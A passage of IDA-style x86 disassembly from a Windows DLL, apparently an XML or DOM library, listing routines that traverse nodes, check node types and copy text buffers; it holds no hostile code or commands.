xor [edi+8], eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0FCh]
jmp short loc_69B49BAF
; ---------------------------------------------------------------------------
loc_69B49BA7: ; CODE XREF: sub_69B499AC+122j
; sub_69B499AC+12Dj
push edi
mov ecx, esi
call sub_69B483A4
loc_69B49BAF: ; CODE XREF: sub_69B499AC+1F9j
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B499AC endp
; =============== S U B R O U T I N E =======================================
sub_69B49BB6 proc near ; CODE XREF: sub_69B49C1F+1Cp
; sub_69B49CDF+1Dp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
xor eax, eax
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B49C1B
mov eax, [esi]
call dword ptr [eax+118h]
test al, al
jz short loc_69B49BD6
mov ecx, esi
call sub_69B49504
jmp short loc_69B49BF9
; ---------------------------------------------------------------------------
loc_69B49BD6: ; CODE XREF: sub_69B49BB6+15j
mov eax, [esi+8]
mov ecx, eax
and ecx, 1F000000h
cmp ecx, 0B000000h
jnz short loc_69B49BF9
shr eax, 0Dh
not al
test al, 1
jz short loc_69B49BF9
mov ecx, esi
call sub_69B498EF
loc_69B49BF9: ; CODE XREF: sub_69B49BB6+1Ej
; sub_69B49BB6+31j ...
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
test eax, eax
jz short loc_69B49C1B
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+100h]
test eax, eax
jz short loc_69B49C1B
mov ecx, [esp+4+arg_0]
mov [ecx], eax
loc_69B49C1B: ; CODE XREF: sub_69B49BB6+9j
; sub_69B49BB6+4Fj ...
pop esi
retn 4
sub_69B49BB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B49C1F proc near ; CODE XREF: sub_69B3D6C4+8p
; sub_69B3D6D2+25p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, [esi]
push edi
xor edi, edi
call dword ptr [eax+118h]
test al, al
jnz short loc_69B49C7A
lea eax, [ebp+var_4]
push eax
mov ecx, esi
call sub_69B49BB6
mov edi, eax
test edi, edi
jz short loc_69B49C7A
loc_69B49C46: ; CODE XREF: sub_69B49C1F+55j
cmp [ebp+arg_0], 0
jz short loc_69B49C58
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
cmp [ebp+arg_0], eax
jnz short loc_69B49C65
loc_69B49C58: ; CODE XREF: sub_69B49C1F+2Bj
xor eax, eax
mov al, [edi+0Bh]
and eax, 1Fh
cmp eax, [ebp+arg_4]
jz short loc_69B49C76
loc_69B49C65: ; CODE XREF: sub_69B49C1F+37j
lea eax, [ebp+var_4]
push eax
mov ecx, esi
call sub_69B47D9F
mov edi, eax
test edi, edi
jnz short loc_69B49C46
loc_69B49C76: ; CODE XREF: sub_69B49C1F+44j
test edi, edi
jnz short loc_69B49CA8
loc_69B49C7A: ; CODE XREF: sub_69B49C1F+14j
; sub_69B49C1F+25j
cmp [ebp+arg_4], 0Fh
jnz short loc_69B49CA8
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_69B49CA8
push ebx
call sub_69B3DABE
mov ebx, eax
test ebx, ebx
jz short loc_69B49CA7
push [ebp+arg_0]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
push eax
mov ecx, ebx
call sub_69B8B06D
mov edi, eax
loc_69B49CA7: ; CODE XREF: sub_69B49C1F+72j
pop ebx
loc_69B49CA8: ; CODE XREF: sub_69B49C1F+59j
; sub_69B49C1F+5Fj ...
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B49C1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B49CB0 proc near ; CODE XREF: sub_69B4A3A9j
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jz short loc_69B49CCE
cmp [ebp+arg_8], ecx
jz short loc_69B49CCE
push [ebp+arg_4]
mov ecx, [ebp+arg_8]
push [ebp+arg_0]
call sub_69B484DF
jmp short loc_69B49CDB
; ---------------------------------------------------------------------------
loc_69B49CCE: ; CODE XREF: sub_69B49CB0+7j
; sub_69B49CB0+Cj
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B49C1F
loc_69B49CDB: ; CODE XREF: sub_69B49CB0+1Cj
pop ebp
retn 0Ch
sub_69B49CB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B49CDF proc near ; CODE XREF: sub_69B49D8E+79p
; sub_69B49E5A+32p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov eax, [edi]
xor esi, esi
call dword ptr [eax+118h]
test al, al
jnz short loc_69B49D56
lea eax, [ebp+var_4]
push eax
mov ecx, edi
call sub_69B49BB6
mov esi, eax
test esi, esi
jz short loc_69B49D56
loc_69B49D07: ; CODE XREF: sub_69B49CDF+71j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test eax, eax
jz short loc_69B49D41
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
cmp eax, [ebp+arg_8]
jnz short loc_69B49D41
mov ebx, [ebp+arg_0]
test ebx, ebx
jz short loc_69B49D32
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp ebx, [eax+14h]
jnz short loc_69B49D41
loc_69B49D32: ; CODE XREF: sub_69B49CDF+45j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
mov ecx, [ebp+arg_4]
cmp ecx, [eax+0Ch]
jz short loc_69B49D52
loc_69B49D41: ; CODE XREF: sub_69B49CDF+31j
; sub_69B49CDF+3Ej ...
lea eax, [ebp+var_4]
push eax
mov ecx, edi
call sub_69B47D9F
mov esi, eax
test esi, esi
jnz short loc_69B49D07
loc_69B49D52: ; CODE XREF: sub_69B49CDF+60j
test esi, esi
jnz short loc_69B49D85
loc_69B49D56: ; CODE XREF: sub_69B49CDF+15j
; sub_69B49CDF+26j
cmp [ebp+arg_8], 0Fh
jnz short loc_69B49D85
mov ecx, [ebp+arg_C]
test ecx, ecx
jz short loc_69B49D85
call sub_69B3DABE
mov ebx, eax
test ebx, ebx
jz short loc_69B49D85
push [ebp+arg_4]
mov eax, [edi]
push [ebp+arg_0]
mov ecx, edi
call dword ptr [eax+38h]
push eax
mov ecx, ebx
call sub_69B8B0A6
mov esi, eax
loc_69B49D85: ; CODE XREF: sub_69B49CDF+75j
; sub_69B49CDF+7Bj ...
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 10h
sub_69B49CDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B49D8E(LPCWSTR lpString, int, int)
sub_69B49D8E proc near ; CODE XREF: sub_69B4097C+7Dp
; sub_69B40A6C+94p ...
var_4 = dword ptr -4
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+lpString]
lea eax, [ebp+lpString]
push eax
push edi
mov ebx, ecx
call sub_69B31F88
test al, al
jnz short loc_69B49DBC
push 0
push 0C00CE505h
push 80070057h
call sub_69B2E9D0
add esp, 0Ch
loc_69B49DBC: ; CODE XREF: sub_69B49D8E+18j
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0B4h]
mov esi, [eax+70h]
xor eax, eax
cmp [ebp+lpString], eax
mov [ebp+var_4], eax
mov ecx, esi
jz short loc_69B49DF2
push [ebp+lpString] ; int
push edi ; lpString
push eax ; int
call sub_69B4D394
mov [ebp+var_4], eax
mov eax, [ebp+lpString]
push 0FFFFFFFFh
lea eax, [edi+eax*2+2]
push eax
push 0
mov ecx, esi
jmp short loc_69B49DF6
; ---------------------------------------------------------------------------
loc_69B49DF2: ; CODE XREF: sub_69B49D8E+45j
push 0FFFFFFFFh ; int
push edi ; lpString
push eax ; int
loc_69B49DF6: ; CODE XREF: sub_69B49D8E+62j
call sub_69B4D394
push [ebp+arg_8]
mov ecx, ebx
push [ebp+arg_4]
push [ebp+var_4]
push eax
call sub_69B49CDF
mov esi, eax
test esi, esi
jnz short loc_69B49E51
cmp [ebp+arg_4], 0Fh
jnz short loc_69B49E51
push edi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push edi
call sub_69B3D5BC
test al, al
jz short loc_69B49E51
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Eh
mov esi, eax
jg short loc_69B49E3C
call sub_69B2E6D8
loc_69B49E3C: ; CODE XREF: sub_69B49D8E+A7j
push [ebp+arg_8]
mov eax, [esi+84h]
push 0Fh
push eax
mov ecx, ebx
call sub_69B49C1F
mov esi, eax
loc_69B49E51: ; CODE XREF: sub_69B49D8E+82j
; sub_69B49D8E+88j ...
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 0Ch
sub_69B49D8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B49E5A proc near ; CODE XREF: sub_69B435DC+B7p
; sub_69B538B4+9Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
push [ebp+arg_8]
mov edi, [ebp+arg_0]
push [ebp+arg_4]
mov esi, [edi+8]
push esi
mov ebx, ecx
call sub_69B49C1F
test eax, eax
jnz short loc_69B49E91
mov edi, [edi+0Ch]
test edi, edi
jz short loc_69B49E91
push [ebp+arg_8]
mov esi, [esi+14h]
push [ebp+arg_4]
mov ecx, ebx
push edi
push esi
call sub_69B49CDF
loc_69B49E91: ; CODE XREF: sub_69B49E5A+1Cj
; sub_69B49E5A+23j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B49E5A endp
; =============== S U B R O U T I N E =======================================
sub_69B49E98 proc near ; CODE XREF: sub_69B418FC+4Bp
; sub_69B4A5F8+17p ...
var_4 = byte ptr -4
push ecx
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
push edi
jnz short loc_69B49F05
mov eax, [esi]
call dword ptr [eax+108h]
mov edi, eax
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 0Bh
jnz short loc_69B49ED2
test edi, edi
jnz short loc_69B49ED2
lea eax, [esp+0Ch+var_4]
push eax
mov ecx, esi
call sub_69B49BB6
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
mov edi, eax
loc_69B49ED2: ; CODE XREF: sub_69B49E98+1Cj
; sub_69B49E98+20j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
jz short loc_69B49EF3
mov ecx, esi
call sub_69B49504
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
mov edi, eax
loc_69B49EF3: ; CODE XREF: sub_69B49E98+46j
test edi, edi
jz short loc_69B49F05
mov eax, [edi+8]
shr eax, 14h
test al, 1
jnz short loc_69B49F05
mov eax, edi
jmp short loc_69B49F07
; ---------------------------------------------------------------------------
loc_69B49F05: ; CODE XREF: sub_69B49E98+9j
; sub_69B49E98+5Dj ...
xor eax, eax
loc_69B49F07: ; CODE XREF: sub_69B49E98+6Bj
pop edi
pop esi
pop ecx
retn
sub_69B49E98 endp
; =============== S U B R O U T I N E =======================================
sub_69B49F0B proc near ; CODE XREF: sub_69B173D1+209p
; sub_69B173D1+3FFp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
mov esi, ecx
call sub_69B49BB6
test eax, eax
jz short loc_69B49F3A
loc_69B49F1D: ; CODE XREF: sub_69B49F0B+27j
mov ecx, [eax+8]
shr ecx, 14h
test cl, 1
jz short loc_69B49F34
push edi
mov ecx, esi
call sub_69B47D9F
test eax, eax
jnz short loc_69B49F1D
loc_69B49F34: ; CODE XREF: sub_69B49F0B+1Bj
test eax, eax
jz short loc_69B49F3A
mov [edi], eax
loc_69B49F3A: ; CODE XREF: sub_69B49F0B+10j
; sub_69B49F0B+2Bj
pop edi
pop esi
retn 4
sub_69B49F0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B49F3F proc near ; CODE XREF: sub_69B42D4C+55p
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_5 = dword ptr -5
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
xor ebx, ebx
cmp [ebp+arg_0], ebx
mov esi, ecx
push edi
mov [ebp+var_C], esi
jz loc_69B4A041
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_69B2FB5A
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_69B4A041
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov edi, eax
cmp dword ptr [edi+0E4h], 1
lea eax, [ebp+var_1C]
setz byte ptr [ebp+var_5]
push [ebp+var_5]
mov [ebp+var_10], edi
push eax
lea eax, [ebp+var_1]
push eax
push [ebp+arg_0]
call sub_69B5EEC0
test al, al
jz short loc_69B49FDE
cmp byte ptr [ebp+var_5], bl
mov al, [ebp+var_1]
push edi
jnz short loc_69B49FC1
neg al
mov ecx, esi
sbb eax, eax
and eax, 0Fh
push eax
push [ebp+var_18]
push [ebp+var_14]
call sub_69B49CDF
jmp loc_69B4A043
; ---------------------------------------------------------------------------
loc_69B49FC1: ; CODE XREF: sub_69B49F3F+66j
neg al
sbb eax, eax
and eax, 0Fh
push eax
push [ebp+var_1C]
push [ebp+var_14]
call sub_69B192E9
push eax
mov ecx, esi
call sub_69B49C1F
jmp short loc_69B4A043
; ---------------------------------------------------------------------------
loc_69B49FDE: ; CODE XREF: sub_69B49F3F+5Dj
push ebx
lea ecx, [ebp+var_28]
call sub_69B11D3B
mov ecx, edi
call sub_69B3D903
push ebx
push 4
mov edi, eax
mov eax, [edi]
push ebx
push [ebp+arg_0]
mov ecx, edi
call dword ptr [eax+38h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+44h]
push ebx
push [ebp+var_C]
mov esi, eax
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+48h]
lea ecx, [ebp+arg_0]
call sub_69B47D22
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
lea ecx, [ebp+arg_0]
mov esi, eax
call sub_69B47D46
lea ecx, [ebp+var_28]
call sub_69B1976C
mov ecx, [ebp+var_10]
push edi
call sub_69B3D3BC
mov eax, esi
jmp short loc_69B4A043
; ---------------------------------------------------------------------------
loc_69B4A041: ; CODE XREF: sub_69B49F3F+13j
; sub_69B49F3F+28j
xor eax, eax
loc_69B4A043: ; CODE XREF: sub_69B49F3F+7Dj
; sub_69B49F3F+9Dj ...
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B49F3F endp
; =============== S U B R O U T I N E =======================================
sub_69B4A04A proc near ; CODE XREF: sub_69B14EAC+2Bp
; sub_69B4B8FE+5Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
push esi
mov esi, eax
jg short loc_69B4A05D
call sub_69B2E6D8
loc_69B4A05D: ; CODE XREF: sub_69B4A04A+Cj
push [esp+4+arg_4]
mov eax, [esi+88h]
mov ecx, [esp+8+arg_0]
push 0Fh
push eax
call sub_69B49C1F
pop esi
retn 8
sub_69B4A04A endp
; =============== S U B R O U T I N E =======================================
sub_69B4A077 proc near ; CODE XREF: sub_69B4A0ED+24p
; sub_69B4A73D+23p
arg_0 = dword ptr 4
push edi
mov edi, ecx
mov eax, [edi]
call dword ptr [eax+3Ch]
mov ecx, [edi+0Ch]
cmp byte ptr [ecx+7Dh], 0
jz short loc_69B4A08C
xor eax, eax
jmp short loc_69B4A0E4
; ---------------------------------------------------------------------------
loc_69B4A08C: ; CODE XREF: sub_69B4A077+Fj
push ebx
push ebp
push esi
push dword ptr [eax+8]
call sub_69B3DABE
mov ecx, eax
call sub_69B8B04F
mov ebx, [esp+10h+arg_0]
mov ebp, eax
test ebp, ebp
jz short loc_69B4A0DB
push ebx
mov ecx, ebp
call sub_69B48F23
mov esi, eax
test esi, esi
jz short loc_69B4A0CD
loc_69B4A0B6: ; CODE XREF: sub_69B4A077+62j
mov eax, [esi]
push 0
push 0Fh
mov ecx, esi
call dword ptr [eax+38h]
push eax
mov ecx, edi
call sub_69B49C1F
test eax, eax
jz short loc_69B4A0E8
loc_69B4A0CD: ; CODE XREF: sub_69B4A077+3Dj
push ebx
mov ecx, ebp
call sub_69B486B5
mov esi, eax
test esi, esi
jnz short loc_69B4A0B6
loc_69B4A0DB: ; CODE XREF: sub_69B4A077+2Fj
xor esi, esi
mov [ebx], esi
loc_69B4A0DF: ; CODE XREF: sub_69B4A077+74j
mov eax, esi
pop esi
pop ebp
pop ebx
loc_69B4A0E4: ; CODE XREF: sub_69B4A077+13j
pop edi
retn 4
; ---------------------------------------------------------------------------
loc_69B4A0E8: ; CODE XREF: sub_69B4A077+54j
or dword ptr [ebx], 1
jmp short loc_69B4A0DF
sub_69B4A077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4A0ED proc near ; CODE XREF: sub_69B405D3:loc_69B405F2p
; sub_69B4A621j ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
mov al, [esi]
and al, 1
push edi
mov ebx, ecx
mov byte ptr [ebp+arg_0+3], al
jnz short loc_69B4A121
push esi
call sub_69B486B5
mov edi, eax
test edi, edi
jnz short loc_69B4A118
push esi
mov ecx, ebx
call sub_69B4A077
mov edi, eax
loc_69B4A118: ; CODE XREF: sub_69B4A0ED+1Fj
; sub_69B4A0ED+78j ...
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_69B4A121: ; CODE XREF: sub_69B4A0ED+13j
mov ecx, [esi]
xor ecx, 1
mov eax, [ecx]
mov [ebp+arg_0], ecx
call dword ptr [eax+0F4h]
mov [ebp+var_4], eax
loc_69B4A134: ; CODE XREF: sub_69B4A0ED+6Ej
mov ecx, [ebp+var_4]
lea eax, [ebp+arg_0]
push eax
call sub_69B486B5
mov edi, eax
test edi, edi
jz short loc_69B4A167
mov eax, [edi]
push 0
push 0Fh
mov ecx, edi
call dword ptr [eax+38h]
push eax
mov ecx, ebx
call sub_69B49C1F
test eax, eax
jnz short loc_69B4A134
mov eax, [ebp+arg_0]
or eax, 1
mov [esi], eax
jmp short loc_69B4A118
; ---------------------------------------------------------------------------
loc_69B4A167: ; CODE XREF: sub_69B4A0ED+57j
and dword ptr [esi], 0
jmp short loc_69B4A118
sub_69B4A0ED endp
; =============== S U B R O U T I N E =======================================
sub_69B4A16C proc near ; CODE XREF: sub_69B4A201+44p
; sub_69B4A76D+21p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esi+0Ch]
xor ebx, ebx
cmp edi, ebx
jz short loc_69B4A19A
cmp [edi+8Dh], bl
jnz short loc_69B4A19A
mov ebp, dword_69B95A84
cmp dword ptr [ebp+8], 7
jg short loc_69B4A194
call sub_69B2E6D8
loc_69B4A194: ; CODE XREF: sub_69B4A16C+21j
mov eax, [ebp+28h]
push ebx
jmp short loc_69B4A1AF
; ---------------------------------------------------------------------------
loc_69B4A19A: ; CODE XREF: sub_69B4A16C+Dj
; sub_69B4A16C+15j
mov ebp, dword_69B95A84
cmp dword ptr [ebp+8], 12h
jg short loc_69B4A1AB
call sub_69B2E6D8
loc_69B4A1AB: ; CODE XREF: sub_69B4A16C+38j
mov eax, [ebp+54h]
push edi
loc_69B4A1AF: ; CODE XREF: sub_69B4A16C+2Cj
push 0Fh
mov ecx, esi
push eax
call sub_69B49C1F
cmp eax, ebx
jz short loc_69B4A1F8
mov esi, [esp+10h+arg_0]
push ebx
push 1
push ebx
mov ecx, eax
mov [esi], bl
call sub_69B4AAFC
mov ecx, eax
cmp ecx, ebx
jz short loc_69B4A1F4
cmp [edi+8Dh], bl
push offset aPreserve ; "preserve"
jz short loc_69B4A1E8
call sub_69B2EF04
jmp short loc_69B4A1ED
; ---------------------------------------------------------------------------
loc_69B4A1E8: ; CODE XREF: sub_69B4A16C+73j
call sub_69B2EF33
loc_69B4A1ED: ; CODE XREF: sub_69B4A16C+7Aj
test al, al
jz short loc_69B4A1F4
mov byte ptr [esi], 1
loc_69B4A1F4: ; CODE XREF: sub_69B4A16C+66j
; sub_69B4A16C+83j
mov al, 1
jmp short loc_69B4A1FA
; ---------------------------------------------------------------------------
loc_69B4A1F8: ; CODE XREF: sub_69B4A16C+4Fj
xor al, al
loc_69B4A1FA: ; CODE XREF: sub_69B4A16C+8Aj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_69B4A16C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4A201 proc near ; CODE XREF: sub_69B40333+Dp
; sub_69B4506C+8Ap ...
var_1 = byte ptr -1
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov [ebp+var_1], 0
call sub_69B490AC
test al, al
jz short loc_69B4A25A
loc_69B4A215: ; CODE XREF: sub_69B4A201+2Bj
; sub_69B4A201+35j
mov [ebp+var_1], 1
loc_69B4A219: ; CODE XREF: sub_69B4A201+3Aj
; sub_69B4A201+4Bj ...
mov al, [ebp+var_1]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_69B4A21F: ; CODE XREF: sub_69B4A201+5Bj
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
jz short loc_69B4A23F
cmp eax, 2
jz short loc_69B4A215
cmp eax, 4
jle short loc_69B4A24E
cmp eax, 6
jle short loc_69B4A215
cmp eax, 0Fh
jz short loc_69B4A219
jmp short loc_69B4A24E
; ---------------------------------------------------------------------------
loc_69B4A23F: ; CODE XREF: sub_69B4A201+26j
lea eax, [ebp+var_1]
push eax
mov ecx, esi
call sub_69B4A16C
test al, al
jnz short loc_69B4A219
loc_69B4A24E: ; CODE XREF: sub_69B4A201+30j
; sub_69B4A201+3Cj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov esi, eax
loc_69B4A25A: ; CODE XREF: sub_69B4A201+12j
test esi, esi
jnz short loc_69B4A21F
jmp short loc_69B4A219
sub_69B4A201 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4A260 proc near ; CODE XREF: sub_69B173D1+4BDp
; sub_69B173D1+589p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov esi, ecx
push 22h
mov ecx, ebx
call sub_69B8A903
mov eax, [esi+8]
shr eax, 12h
and eax, 3
xor edi, edi
sub eax, edi
jz short loc_69B4A2D9
dec eax
dec eax
jz short loc_69B4A2B4
dec eax
jnz loc_69B4A36F
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+11Ch]
cmp eax, edi
jz loc_69B4A36F
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
mov ecx, ebx
call sub_69B8A970
jmp loc_69B4A36F
; ---------------------------------------------------------------------------
loc_69B4A2B4: ; CODE XREF: sub_69B4A260+25j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
cmp eax, edi
jz loc_69B4A36F
loc_69B4A2C6: ; CODE XREF: sub_69B4A260+85j
push edi
push dword ptr [eax+8]
mov ecx, ebx
push dword ptr [eax+0Ch]
call sub_69B8A9BB
jmp loc_69B4A36F
; ---------------------------------------------------------------------------
loc_69B4A2D9: ; CODE XREF: sub_69B4A260+21j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
cmp eax, edi
jnz short loc_69B4A2C6
lea eax, [ebp+arg_0]
push eax
mov ecx, esi
call sub_69B49F0B
jmp short loc_69B4A369
; ---------------------------------------------------------------------------
loc_69B4A2F4: ; CODE XREF: sub_69B4A260+10Dj
xor eax, eax
mov al, [edi+0Bh]
and eax, 1Fh
dec eax
jz short loc_69B4A32E
sub eax, 0Ah
jnz short loc_69B4A34B
push 26h
mov ecx, ebx
call sub_69B8A903
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
mov ecx, ebx
call sub_69B8A970
push 3Bh
mov ecx, ebx
call sub_69B8A903
jmp short loc_69B4A34B
; ---------------------------------------------------------------------------
loc_69B4A32E: ; CODE XREF: sub_69B4A260+9Dj
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+110h]
test eax, eax
jz short loc_69B4A34B
push 0
push dword ptr [eax+8]
mov ecx, ebx
push dword ptr [eax+0Ch]
call sub_69B8A9BB
loc_69B4A34B: ; CODE XREF: sub_69B4A260+A2j
; sub_69B4A260+CCj ...
mov eax, [edi+8]
shr eax, 0Ch
test al, 1
jz short loc_69B4A35E
push 20h
mov ecx, ebx
call sub_69B8A903
loc_69B4A35E: ; CODE XREF: sub_69B4A260+F3j
lea eax, [ebp+arg_0]
push eax
mov ecx, esi
call sub_69B47DCC
loc_69B4A369: ; CODE XREF: sub_69B4A260+92j
mov edi, eax
test edi, edi
jnz short loc_69B4A2F4
loc_69B4A36F: ; CODE XREF: sub_69B4A260+28j
; sub_69B4A260+3Aj ...
push 22h
mov ecx, ebx
call sub_69B8A903
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_69B4A260 endp
; =============== S U B R O U T I N E =======================================
sub_69B4A37F proc near ; DATA XREF: .text:69B15328o
; .text:69B1DD78o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push dword ptr [ecx+0Ch]
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B49C1F
retn 8
sub_69B4A37F endp
; =============== S U B R O U T I N E =======================================
sub_69B4A392 proc near ; DATA XREF: .text:69B15324o
; .text:69B1DD74o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push dword ptr [ecx+0Ch]
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B49CDF
retn 0Ch
sub_69B4A392 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame thunk
sub_69B4A3A9 proc near ; DATA XREF: .text:69B15330o
; .text:69B1DD80o
jmp sub_69B49CB0
sub_69B4A3A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4A3AE proc near ; CODE XREF: sub_69B4A3AE+15Ap
; sub_69B4A528+42j
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
mov [ebp+var_10], esi
jnz short loc_69B4A3D0
mov eax, [esi]
call dword ptr [eax+118h]
test al, al
jnz loc_69B4A525
loc_69B4A3D0: ; CODE XREF: sub_69B4A3AE+10j
push edi
lea eax, [ebp+var_18]
push eax
mov ecx, esi
call sub_69B49F0B
xor edi, edi
cmp eax, edi
jz loc_69B4A524
mov esi, eax
push ebx
mov [ebp+var_14], esi
xor ebx, ebx
mov [ebp+var_4], edi
loc_69B4A3F1: ; CODE XREF: sub_69B4A3AE+170j
test esi, esi
jz short loc_69B4A42B
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 1
jnz short loc_69B4A42B
test ebx, ebx
jnz short loc_69B4A404
mov ebx, esi
loc_69B4A404: ; CODE XREF: sub_69B4A3AE+52j
mov eax, [esi]
mov ecx, esi
mov [ebp+var_4], esi
call dword ptr [eax+110h]
test eax, eax
jz loc_69B4A50D
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
add edi, [eax+8]
jmp loc_69B4A50D
; ---------------------------------------------------------------------------
loc_69B4A42B: ; CODE XREF: sub_69B4A3AE+45j
; sub_69B4A3AE+4Ej
test ebx, ebx
jz loc_69B4A4E0
cmp ebx, [ebp+var_4]
jz loc_69B4A4D8
test edi, edi
jle short loc_69B4A44D
push edi
push 0
call sub_69B190D7
mov [ebp+var_C], eax
jmp short loc_69B4A451
; ---------------------------------------------------------------------------
loc_69B4A44D: ; CODE XREF: sub_69B4A3AE+90j
and [ebp+var_C], 0
loc_69B4A451: ; CODE XREF: sub_69B4A3AE+9Dj
and [ebp+var_8], 0
loc_69B4A455: ; CODE XREF: sub_69B4A3AE+105j
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+110h]
test eax, eax
jz short loc_69B4A49C
mov edx, [ebp+var_C]
test edx, edx
jz short loc_69B4A49C
mov ecx, [eax+8]
mov esi, [eax+0Ch]
mov eax, [edx+0Ch]
mov edx, [ebp+var_8]
shl ecx, 1
lea edi, [eax+edx*2]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+110h]
mov eax, [eax+8]
add [ebp+var_8], eax
mov esi, [ebp+var_14]
loc_69B4A49C: ; CODE XREF: sub_69B4A3AE+B3j
; sub_69B4A3AE+BAj
mov ecx, ebx
mov edi, ebx
call sub_69B48533
mov ecx, [ebp+var_10]
push edi
mov ebx, eax
call sub_69B4843A
cmp edi, [ebp+var_4]
jnz short loc_69B4A455
mov edi, [ebp+var_10]
mov eax, [edi+0Ch]
